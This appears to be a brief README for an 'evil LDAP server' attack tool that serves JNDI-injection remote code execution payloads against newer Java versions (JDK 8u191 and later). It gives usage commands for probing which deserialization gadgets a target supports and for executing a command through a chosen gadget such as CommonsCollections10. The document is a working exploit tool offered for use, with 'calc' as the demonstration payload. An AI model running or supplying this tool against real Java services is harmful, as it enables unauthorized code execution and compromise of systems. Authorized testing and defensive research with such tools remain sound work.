ldapserver evil ldapserver while jndi injection rce with higher jdk ,such as jdk8u191 how to use 全量gadget: (可用于探测支持的gadget) java -jar ldapserver.jar -c "calc" -p 1389 指定gadget: (用于执行) java -jar ldapserver.jar -c "calc" -p 1389 -g CommonsCollections10